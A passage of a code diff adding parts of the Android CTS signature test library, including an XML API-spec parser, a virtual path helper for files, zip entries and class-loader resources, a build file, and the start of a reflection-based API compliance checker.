+        item.constructors().stream()
+                .map(TextApiParser::convertConstructor)
+                .forEach(currentClass::addConstructor);
+
+        item.methods().stream()
+                .map(TextApiParser::convertMethod)
+                .forEach(currentClass::addMethod);
+
+        return currentClass;
+    }
+
+    private static int getModifiers(Item item) {
+        ModifierList modifierList = item.getModifiers();
+        int modifiers = 0;
+        if (modifierList.isAbstract()) {
+            modifiers |= Modifier.ABSTRACT;
+        }
+        if (modifierList.isFinal()) {
+            modifiers |= Modifier.FINAL;
+        }
+        if (modifierList.isNative()) {
+            modifiers |= Modifier.NATIVE;
+        }
+        if (modifierList.isStatic()) {
+            modifiers |= Modifier.STATIC;
+        }
+        if (modifierList.isSynchronized()) {
+            modifiers |= Modifier.SYNCHRONIZED;
+        }
+        if (modifierList.isTransient()) {
+            modifiers |= Modifier.TRANSIENT;
+        }
+        if (modifierList.isVolatile()) {
+            modifiers |= Modifier.VOLATILE;
+        }
+        if (modifierList.isPrivate()) {
+            modifiers |= Modifier.PRIVATE;
+        } else if (modifierList.isProtected()) {
+            modifiers |= Modifier.PROTECTED;
+        } else if (modifierList.isPublic()) {
+            modifiers |= Modifier.PUBLIC;
+        }
+        return modifiers;
+    }
+
+    private static JDiffField convertField(FieldItem item) {
+        int modifiers = getModifiers(item);
+        Object value = item.initialValue(true);
+
+        if (item.isEnumConstant()) {
+            // Set the enum bit on the enum constant to match the modifiers returned by reflection.
+            modifiers |= 0x00004000;
+        }
+
+        return new JDiffField(item.name(),
+                KtHelper.toDefaultTypeString(item.type()), modifiers,
+                value == null ? null : value.toString());
+    }
+
+    private static JDiffConstructor convertConstructor(ConstructorItem item) {
+        JDiffConstructor constructor = new JDiffConstructor(item.name(), getModifiers(item));
+
+        convertParameters(item, constructor);
+
+        return constructor;
+    }
+
+    private static void convertParameters(MethodItem item, JDiffMethod method) {
+        item.parameters().stream()
+                .map(TextApiParser::convertParameter)
+                .forEach(method::addParam);
+    }
+
+    private static JDiffMethod convertMethod(MethodItem item) {
+        TypeItem returnType = item.returnType();
+        String returnTypeAsString = returnType == null ? null
+                : KtHelper.toDefaultTypeString(returnType);
+        JDiffMethod method = new JDiffMethod(item.name(), getModifiers(item), returnTypeAsString);
+
+        convertParameters(item, method);
+
+        return method;
+    }
+
+    private static String convertParameter(ParameterItem item) {
+        return KtHelper.toDefaultTypeString(item.type());
+    }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
new file mode 100644
index 0000000..140dd6d
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+/**
+ * Workaround for the lack of a zip file system provider on Android.
+ */
+public abstract class VirtualPath {
+
+    /**
+     * Get a path to the local file system.
+     */
+    public static LocalFilePath get(String path) {
+        return new LocalFilePath(path);
+    }
+
+    /**
+     * Get a path to an entry in a zip file, i.e. a zip file system.
+     */
+    public static ZipEntryPath get(ZipFile zip, ZipEntry entry) {
+        return new ZipEntryPath(zip, entry);
+    }
+
+    /**
+     * Get a path to a resource in a ClassLoader.
+     *
+     * @param classLoader the ClassLoader containing the resource.
+     * @param resourceName the name of the resource, must not start with a /.
+     */
+    public static ResourcePath get(ClassLoader classLoader, String resourceName)
+            throws IOException {
+        return new ResourcePath(classLoader, resourceName);
+    }
+
+    public abstract InputStream newInputStream() throws IOException;
+
+    public static class LocalFilePath extends VirtualPath {
+        private final String path;
+
+        LocalFilePath(String path) {
+            this.path = path;
+        }
+
+        public File toFile() {
+            return new File(path);
+        }
+
+        public LocalFilePath resolve(String relative) {
+            return new LocalFilePath(path + "/" + relative);
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return new FileInputStream(path);
+        }
+
+        @Override
+        public String toString() {
+            return path;
+        }
+    }
+
+    private static class ZipEntryPath extends VirtualPath {
+
+        private final ZipFile zip;
+
+        private final ZipEntry entry;
+
+        private ZipEntryPath(ZipFile zip, ZipEntry entry) {
+            this.zip = zip;
+            this.entry = entry;
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return zip.getInputStream(entry);
+        }
+
+        @Override
+        public String toString() {
+            return "zip:file:" + zip.getName() + "!/" + entry.getName();
+        }
+    }
+
+    public static class ResourcePath extends VirtualPath {
+        private final URL url;
+
+        ResourcePath(ClassLoader classLoader, String path) throws IOException {
+            this.url = classLoader.getResource(path);
+            if (url == null) {
+                throw new IOException("Could not find resource '" + path + "' in " + classLoader);
+            }
+        }
+
+        @Override
+        public InputStream newInputStream() throws IOException {
+            return url.openStream();
+        }
+
+        @Override
+        public String toString() {
+            return url.toExternalForm();
+        }
+    }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
new file mode 100644
index 0000000..8e5d0bb
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -0,0 +1,617 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import android.util.Log;
+import java.io.IOException;
+import java.lang.reflect.Modifier;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.Spliterator;
+import java.util.function.Consumer;
+import java.util.stream.Stream;
+import java.util.stream.StreamSupport;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Parser for the XML representation of an API specification.
+ */
+class XmlApiParser extends ApiParser {
+
+    private static final String TAG_ROOT = "api";
+
+    private static final String TAG_PACKAGE = "package";
+
+    private static final String TAG_CLASS = "class";
+
+    private static final String TAG_INTERFACE = "interface";
+
+    private static final String TAG_IMPLEMENTS = "implements";
+
+    private static final String TAG_CONSTRUCTOR = "constructor";
+
+    private static final String TAG_METHOD = "method";
+
+    private static final String TAG_PARAM = "parameter";
+
+    private static final String TAG_EXCEPTION = "exception";
+
+    private static final String TAG_FIELD = "field";
+
+    private static final String ATTRIBUTE_NAME = "name";
+
+    private static final String ATTRIBUTE_TYPE = "type";
+
+    private static final String ATTRIBUTE_VALUE = "value";
+
+    private static final String ATTRIBUTE_EXTENDS = "extends";
+
+    private static final String ATTRIBUTE_RETURN = "return";
+
+    private static final String MODIFIER_ABSTRACT = "abstract";
+
+    private static final String MODIFIER_FINAL = "final";
+
+    private static final String MODIFIER_NATIVE = "native";
+
+    private static final String MODIFIER_PRIVATE = "private";
+
+    private static final String MODIFIER_PROTECTED = "protected";
+
+    private static final String MODIFIER_PUBLIC = "public";
+
+    private static final String MODIFIER_STATIC = "static";
+
+    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
+
+    private static final String MODIFIER_TRANSIENT = "transient";
+
+    private static final String MODIFIER_VOLATILE = "volatile";
+
+    private static final String MODIFIER_VISIBILITY = "visibility";
+
+    private static final Set<String> KEY_TAG_SET;
+
+    static {
+        KEY_TAG_SET = new HashSet<>();
+        Collections.addAll(KEY_TAG_SET,
+                TAG_PACKAGE,
+                TAG_CLASS,
+                TAG_INTERFACE,
+                TAG_IMPLEMENTS,
+                TAG_CONSTRUCTOR,
+                TAG_METHOD,
+                TAG_PARAM,
+                TAG_EXCEPTION,
+                TAG_FIELD);
+    }
+
+    private final String tag;
+
+    private final XmlPullParserFactory factory;
+
+    XmlApiParser(String tag) {
+        this.tag = tag;
+        try {
+            factory = XmlPullParserFactory.newInstance();
+        } catch (XmlPullParserException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Load field information from xml to memory.
+     *
+     * @param className
+     *         of the class being examined which will be shown in error messages
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @return the new field
+     */
+    private static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
+        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String fieldType = canonicalizeType(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
+
+        // Canonicalize the expected value to ensure that it is consistent with the values obtained
+        // using reflection by ApiComplianceChecker.getFieldValueAsString(...).
+        if (value != null) {
+
+            // An unquoted null String value actually means null. It cannot be confused with a
+            // String containing the word null as that would be surrounded with double quotes.
+            if (value.equals("null")) {
+                value = null;
+            } else {
+                switch (fieldType) {
+                    case "java.lang.String":
+                        value = unescapeFieldStringValue(value);
+                        break;
+
+                    case "char":
+                        // A character is encoded in XML as its numeric value. Convert it to a
+                        // string containing the single character.
+                        char c = (char) Integer.parseInt(value);
+                        value = String.valueOf(c);
+                        break;
+
+                    case "double":
+                        switch (value) {
+                            case "(-1.0/0.0)":
+                                value = "-Infinity";
+                                break;
+                            case "(0.0/0.0)":
+                                value = "NaN";
+                                break;
+                            case "(1.0/0.0)":
+                                value = "Infinity";
+                                break;
+                        }
+                        break;
+
+                    case "float":
+                        switch (value) {
+                            case "(-1.0f/0.0f)":
+                                value = "-Infinity";
+                                break;
+                            case "(0.0f/0.0f)":
+                                value = "NaN";
+                                break;
+                            case "(1.0f/0.0f)":
+                                value = "Infinity";
+                                break;
+                            default:
+                                // Remove the trailing f.
+                                if (value.endsWith("f")) {
+                                    value = value.substring(0, value.length() - 1);
+                                }
+                        }
+                        break;
+
+                    case "long":
+                        // Remove the trailing L.
+                        if (value.endsWith("L")) {
+                            value = value.substring(0, value.length() - 1);
+                        }
+                        break;
+                }
+            }
+        }
+
+        return new JDiffField(fieldName, fieldType, modifier, value);
+    }
+
+    /**
+     * Load method information from xml to memory.
+     *
+     * @param className
+     *         of the class being examined which will be shown in error messages
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @return the newly loaded method.
+     */
+    private static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
+        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        return new JDiffMethod(methodName, modifier, canonicalizeType(returnType));
+    }
+
+    /**
+     * Load constructor information from xml to memory.
+     *
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @param currentClass
+     *         the current class being loaded.
+     * @return the new constructor
+     */
+    private static JDiffConstructor loadConstructorInfo(
+            XmlPullParser parser, JDiffClassDescription currentClass) {
+        String name = currentClass.getClassName();
+        int modifier = jdiffModifierToReflectionFormat(name, parser);
+        return new JDiffConstructor(name, modifier);
+    }
+
+    /**
+     * Load class or interface information to memory.
+     *
+     * @param parser
+     *         The XmlPullParser which carries the xml information.
+     * @param isInterface
+     *         true if the current class is an interface, otherwise is false.
+     * @param pkg
+     *         the name of the java package this class can be found in.
+     * @return the new class description.
+     */
+    private static JDiffClassDescription loadClassInfo(
+            XmlPullParser parser, boolean isInterface, String pkg) {
+        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
+
+        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
+        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
+                JDiffClassDescription.JDiffType.CLASS);
+        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+        return currentClass;
+    }
+
+    /**
+     * Transfer string modifier to int one.
+     *
+     * @param name
+     *         of the class/method/field being examined which will be shown in error messages
+     * @param parser
+     *         XML resource parser
+     * @return converted modifier
+     */
+    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser) {
+        int modifier = 0;
+        for (int i = 0; i < parser.getAttributeCount(); i++) {
+            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
+                    parser.getAttributeValue(i));
+        }
+        return modifier;
+    }
+
+    /**
+     * Convert string modifier to int modifier.
+     *
+     * @param name
+     *         of the class/method/field being examined which will be shown in error messages
+     * @param key
+     *         modifier name
+     * @param value
+     *         modifier value
+     * @return converted modifier value
+     */
+    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
+        switch (key) {
+            case MODIFIER_ABSTRACT:
+                return value.equals("true") ? Modifier.ABSTRACT : 0;
+            case MODIFIER_FINAL:
+                return value.equals("true") ? Modifier.FINAL : 0;
+            case MODIFIER_NATIVE:
+                return value.equals("true") ? Modifier.NATIVE : 0;
+            case MODIFIER_STATIC:
+                return value.equals("true") ? Modifier.STATIC : 0;
+            case MODIFIER_SYNCHRONIZED:
+                return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
+            case MODIFIER_TRANSIENT:
+                return value.equals("true") ? Modifier.TRANSIENT : 0;
+            case MODIFIER_VOLATILE:
+                return value.equals("true") ? Modifier.VOLATILE : 0;
+            case MODIFIER_VISIBILITY:
+                switch (value) {
+                    case MODIFIER_PRIVATE:
+                        throw new RuntimeException("Private visibility found in API spec: " + name);
+                    case MODIFIER_PROTECTED:
+                        return Modifier.PROTECTED;
+                    case MODIFIER_PUBLIC:
+                        return Modifier.PUBLIC;
+                    case "":
+                        // If the visibility is "", it means it has no modifier.
+                        // which is package private. We should return 0 for this modifier.
+                        return 0;
+                    default:
+                        throw new RuntimeException("Unknown modifier found in API spec: " + value);
+                }
+        }
+        return 0;
+    }
+
+    @Override
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        XmlPullParser parser;
+        try {
+            parser = factory.newPullParser();
+            parser.setInput(path.newInputStream(), null);
+            return StreamSupport
+                    .stream(new ClassDescriptionSpliterator(parser), false);
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException("Could not parse " + path, e);
+        }
+    }
+
+    private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
+
+        private final XmlPullParser parser;
+
+        JDiffClassDescription currentClass = null;
+
+        String currentPackage = "";
+
+        JDiffMethod currentMethod = null;
+
+        ClassDescriptionSpliterator(XmlPullParser parser)
+                throws IOException, XmlPullParserException {
+            this.parser = parser;
+            logd(String.format("Name: %s", parser.getName()));
+            logd(String.format("Text: %s", parser.getText()));
+            logd(String.format("Namespace: %s", parser.getNamespace()));
+            logd(String.format("Line Number: %s", parser.getLineNumber()));
+            logd(String.format("Column Number: %s", parser.getColumnNumber()));
+            logd(String.format("Position Description: %s", parser.getPositionDescription()));
+            beginDocument(parser);
+        }
+
+        @Override
+        public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
+            JDiffClassDescription classDescription;
+            try {
+                classDescription = next();
+            } catch (IOException | XmlPullParserException e) {
+                throw new RuntimeException(e);
+            }
+
+            if (classDescription == null) {
+                return false;
+            }
+            action.accept(classDescription);
+            return true;
+        }
+
+        @Override
+        public Spliterator<JDiffClassDescription> trySplit() {
+            return null;
+        }
+
+        @Override
+        public long estimateSize() {
+            return Long.MAX_VALUE;
+        }
+
+        @Override
+        public int characteristics() {
+            return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
+        }
+
+        private void beginDocument(XmlPullParser parser)
+                throws XmlPullParserException, IOException {
+            int type;
+            do {
+                type = parser.next();
+            } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
+
+            if (type != XmlPullParser.START_TAG) {
+                throw new XmlPullParserException("No start tag found");
+            }
+
+            if (!parser.getName().equals(TAG_ROOT)) {
+                throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
+                        ", expected " + TAG_ROOT);
+            }
+        }
+
+        private JDiffClassDescription next() throws IOException, XmlPullParserException {
+            int type;
+            while (true) {
+                do {
+                    type = parser.next();
+                } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
+                        && type != XmlPullParser.END_TAG);
+
+                if (type == XmlPullParser.END_DOCUMENT) {
+                    logd("Reached end of document");
+                    break;
+                }
+
+                String tagname = parser.getName();
+                if (type == XmlPullParser.END_TAG) {
+                    if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
+                        logd("Reached end of class: " + currentClass);
+                        return currentClass;
+                    } else if (TAG_PACKAGE.equals(tagname)) {
+                        currentPackage = "";
+                    }
+                    continue;
+                }
+
+                if (!KEY_TAG_SET.contains(tagname)) {
+                    continue;
+                }
+
+                switch (tagname) {
+                    case TAG_PACKAGE:
+                        currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+                        break;
+
+                    case TAG_CLASS:
+                        currentClass = loadClassInfo(parser, false, currentPackage);
+                        break;
+
+                    case TAG_INTERFACE:
+                        currentClass = loadClassInfo(parser, true, currentPackage);
+                        break;
+
+                    case TAG_IMPLEMENTS:
+                        currentClass
+                                .addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+                        break;
+
+                    case TAG_CONSTRUCTOR:
+                        JDiffConstructor constructor =
+                                loadConstructorInfo(parser, currentClass);
+                        currentClass.addConstructor(constructor);
+                        currentMethod = constructor;
+                        break;
+
+                    case TAG_METHOD:
+                        currentMethod = loadMethodInfo(currentClass.getClassName(), parser);
+                        currentClass.addMethod(currentMethod);
+                        break;
+
+                    case TAG_PARAM:
+                        String paramType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
+                        currentMethod.addParam(canonicalizeType(paramType));
+                        break;
+
+                    case TAG_EXCEPTION:
+                        currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+                        break;
+
+                    case TAG_FIELD:
+                        JDiffField field = loadFieldInfo(currentClass.getClassName(), parser);
+                        currentClass.addField(field);
+                        break;
+
+                    default:
+                        throw new RuntimeException("unknown tag exception:" + tagname);
+                }
+
+                if (currentPackage != null) {
+                    logd(String.format("currentPackage: %s", currentPackage));
+                }
+                if (currentClass != null) {
+                    logd(String.format("currentClass: %s", currentClass.toSignatureString()));
+                }
+                if (currentMethod != null) {
+                    logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
+                }
+            }
+
+            return null;
+        }
+    }
+
+    private void logd(String msg) {
+        Log.d(tag, msg);
+    }
+
+    // This unescapes the string format used by doclava and so needs to be kept in sync with any
+    // changes made to that format.
+    private static String unescapeFieldStringValue(String str) {
+        // Skip over leading and trailing ".
+        int start = 0;
+        if (str.charAt(start) == '"') {
+            ++start;
+        }
+        int end = str.length();
+        if (str.charAt(end - 1) == '"') {
+            --end;
+        }
+
+        // If there's no special encoding strings in the string then just return it without the
+        // leading and trailing "s.
+        if (str.indexOf('\\') == -1) {
+            return str.substring(start, end);
+        }
+
+        final StringBuilder buf = new StringBuilder(str.length());
+        char escaped = 0;
+        final int START = 0;
+        final int CHAR1 = 1;
+        final int CHAR2 = 2;
+        final int CHAR3 = 3;
+        final int CHAR4 = 4;
+        final int ESCAPE = 5;
+        int state = START;
+
+        for (int i = start; i < end; i++) {
+            final char c = str.charAt(i);
+            switch (state) {
+                case START:
+                    if (c == '\\') {
+                        state = ESCAPE;
+                    } else {
+                        buf.append(c);
+                    }
+                    break;
+                case ESCAPE:
+                    switch (c) {
+                        case '\\':
+                            buf.append('\\');
+                            state = START;
+                            break;
+                        case 't':
+                            buf.append('\t');
+                            state = START;
+                            break;
+                        case 'b':
+                            buf.append('\b');
+                            state = START;
+                            break;
+                        case 'r':
+                            buf.append('\r');
+                            state = START;
+                            break;
+                        case 'n':
+                            buf.append('\n');
+                            state = START;
+                            break;
+                        case 'f':
+                            buf.append('\f');
+                            state = START;
+                            break;
+                        case '\'':
+                            buf.append('\'');
+                            state = START;
+                            break;
+                        case '\"':
+                            buf.append('\"');
+                            state = START;
+                            break;
+                        case 'u':
+                            state = CHAR1;
+                            escaped = 0;
+                            break;
+                    }
+                    break;
+                case CHAR1:
+                case CHAR2:
+                case CHAR3:
+                case CHAR4:
+                    escaped <<= 4;
+                    if (c >= '0' && c <= '9') {
+                        escaped |= c - '0';
+                    } else if (c >= 'a' && c <= 'f') {
+                        escaped |= 10 + (c - 'a');
+                    } else if (c >= 'A' && c <= 'F') {
+                        escaped |= 10 + (c - 'A');
+                    } else {
+                        throw new RuntimeException(
+                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+                                        + str + "\"");
+                    }
+                    if (state == CHAR4) {
+                        buf.append(escaped);
+                        state = START;
+                    } else {
+                        state++;
+                    }
+                    break;
+            }
+        }
+        if (state != START) {
+            throw new RuntimeException("unfinished escape sequence: " + str);
+        }
+        return buf.toString();
+    }
+
+    /**
+     * Canonicalize a possibly generic type.
+     */
+    private static String canonicalizeType(String type) {
+        // Remove trailing spaces after commas.
+        return type.replace(", ", ",");
+    }
+}
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
new file mode 100644
index 0000000..81a9f8c
--- /dev/null
+++ b/tests/signature/lib/common/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+  name: "signature-common-javalib",
+  visibility: [
+      "//cts/tests/signature:__subpackages__",
+  ],
+  host_supported: true,
+  installable: false,
+  srcs: ["src/**/*.java"],
+  sdk_version: "current",
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
new file mode 100644
index 0000000..03c4a85
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.stream.Collectors;
+
+/**
+ * Base class for those that process a set of API definition files and perform some checking on
+ * them.
+ */
+public abstract class AbstractApiChecker {
+
+    final ResultObserver resultObserver;
+
+    final ClassProvider classProvider;
+
+    AbstractApiChecker(ClassProvider classProvider, ResultObserver resultObserver) {
+        this.classProvider = classProvider;
+        this.resultObserver = resultObserver;
+    }
+
+    /**
+     * Checks test class's name, modifier, fields, constructors, and
+     * methods.
+     */
+    public void checkSignatureCompliance(JDiffClassDescription classDescription) {
+        Class<?> runtimeClass = checkClassCompliance(classDescription);
+        if (runtimeClass != null) {
+            checkFieldsCompliance(classDescription, runtimeClass);
+            checkConstructorCompliance(classDescription, runtimeClass);
+            checkMethodCompliance(classDescription, runtimeClass);
+        }
+    }
+
+    /**
+     * Checks that the class found through reflection matches the
+     * specification from the API xml file.
+     *
+     * @param classDescription a description of a class in an API.
+     */
+    private Class<?> checkClassCompliance(JDiffClassDescription classDescription) {
+        try {
+            Class<?> runtimeClass = ReflectionHelper
+                    .findRequiredClass(classDescription, classProvider);
+
+            if (runtimeClass == null) {
+                // No class found, notify the observer according to the class type,
+                // if missing a class isn't acceptable.
+                if (!allowMissingClass(classDescription)) {
+                    resultObserver.notifyFailure(FailureType.missing(classDescription),
+                            classDescription.getAbsoluteClassName(),
+                            "Classloader is unable to find " + classDescription
+                                    .getAbsoluteClassName());
+                }
+                return null;
+            }
+
+            if (!checkClass(classDescription, runtimeClass)) {
+                return null;
+            }
+
+            return runtimeClass;
+        } catch (Exception e) {
+            LogHelper.loge("Got exception when checking class compliance", e);
+            resultObserver.notifyFailure(
+                    FailureType.CAUGHT_EXCEPTION,
+                    classDescription.getAbsoluteClassName(),
+                    "Exception while checking class compliance!");
+            return null;
+        }
+    }
+
+    /**
+     * Perform any additional checks that can only be done after all api files have been processed.
+     */
+    public abstract void checkDeferred();
+
+    /**
+     * Implement to provide custom check of the supplied class description.
+     *
+     * <p>This should not peform checks on the members, those will be done separately depending
+     * on the result of this method.
+     *
+     * @param classDescription the class description to check
+     * @param runtimeClass the runtime class corresponding to the class description.
+     * @return true if the checks passed and the members should now be checked.
+     */
+    protected abstract boolean checkClass(JDiffClassDescription classDescription,
+            Class<?> runtimeClass);
+
+
+    /**
+     * Checks that a class that exists in the API xml file but that does not exist
+     * in the runtime is allowed or not.
+     *
+     * @param classDescription the class description that is missing.
+     * @return true if missing the class is acceptable.
+     */
+    protected boolean allowMissingClass(JDiffClassDescription classDescription) {
+        return false;
+    }
+
+    /**
+     * Checks all fields in test class for compliance with the API xml.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    private void checkFieldsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        // A map of field name to field of the fields contained in runtimeClass.
+        Map<String, Field> classFieldMap = buildFieldMap(runtimeClass);
+        for (JDiffClassDescription.JDiffField field : classDescription.getFields()) {
+            try {
+                Field f = classFieldMap.get(field.mName);
+                if (f == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_FIELD,
+                            field.toReadableString(classDescription.getAbsoluteClassName()),
+                            "No field with correct signature found:" +
+                                    field.toSignatureString());
+                } else {
+                    checkField(classDescription, runtimeClass, field, f);
+                }
+            } catch (Exception e) {
+                LogHelper.loge("Got exception when checking field compliance", e);
+                resultObserver.notifyFailure(
+                        FailureType.CAUGHT_EXCEPTION,
+                        field.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception while checking field compliance");
+            }
+        }
+    }
+
+    /**
+     * Scan a class (an its entire inheritance chain) for fields.
+     *
+     * @return a {@link Map} of fieldName to {@link Field}
+     */
+    private static Map<String, Field> buildFieldMap(Class<?> testClass) {
+        Map<String, Field> fieldMap = new HashMap<>();
+        // Scan the superclass
+        if (testClass.getSuperclass() != null) {
+            fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
+        }
+
+        // Scan the interfaces
+        for (Class<?> interfaceClass : testClass.getInterfaces()) {
+            fieldMap.putAll(buildFieldMap(interfaceClass));
+        }
+
+        // Check the fields in the test class
+        for (Field field : testClass.getDeclaredFields()) {
+            fieldMap.put(field.getName(), field);
+        }
+
+        return fieldMap;
+    }
+
+    protected abstract void checkField(JDiffClassDescription classDescription,
+            Class<?> runtimeClass,
+            JDiffClassDescription.JDiffField fieldDescription, Field field);
+
+
+    /**
+     * Checks whether the constructor parsed from API xml file and
+     * Java reflection are compliant.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    private void checkConstructorCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        Map<Constructor, String> mismatchReasons = new LinkedHashMap<>();
+        for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
+            try {
+                Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con,
+                        mismatchReasons);
+                if (c == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_CONSTRUCTOR,
+                            con.toReadableString(classDescription.getAbsoluteClassName()),
+                            String.format(
+                                    "No constructor with correct signature found. The following"
+                                            + " constructors were rejected:\n%s",
+                                    mismatchReasons.entrySet()
+                                            .stream()
+                                            .map(e -> String.format("\t\t%s - %s\n",
+                                                    e.getKey(), e.getValue()))
+                                            .collect(Collectors.joining())));
+                } else {
+                    checkConstructor(classDescription, runtimeClass, con, c);
+                }
+            } catch (Exception e) {
+                LogHelper.loge("Got exception when checking constructor compliance", e);
+                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+                        con.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception while checking constructor compliance!");
+            }
+        }
+    }
+
+    protected abstract void checkConstructor(JDiffClassDescription classDescription,
+            Class<?> runtimeClass,
+            JDiffClassDescription.JDiffConstructor ctorDescription, Constructor<?> ctor);
+
+    /**
+     * Checks that the method found through reflection matches the
+     * specification from the API xml file.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
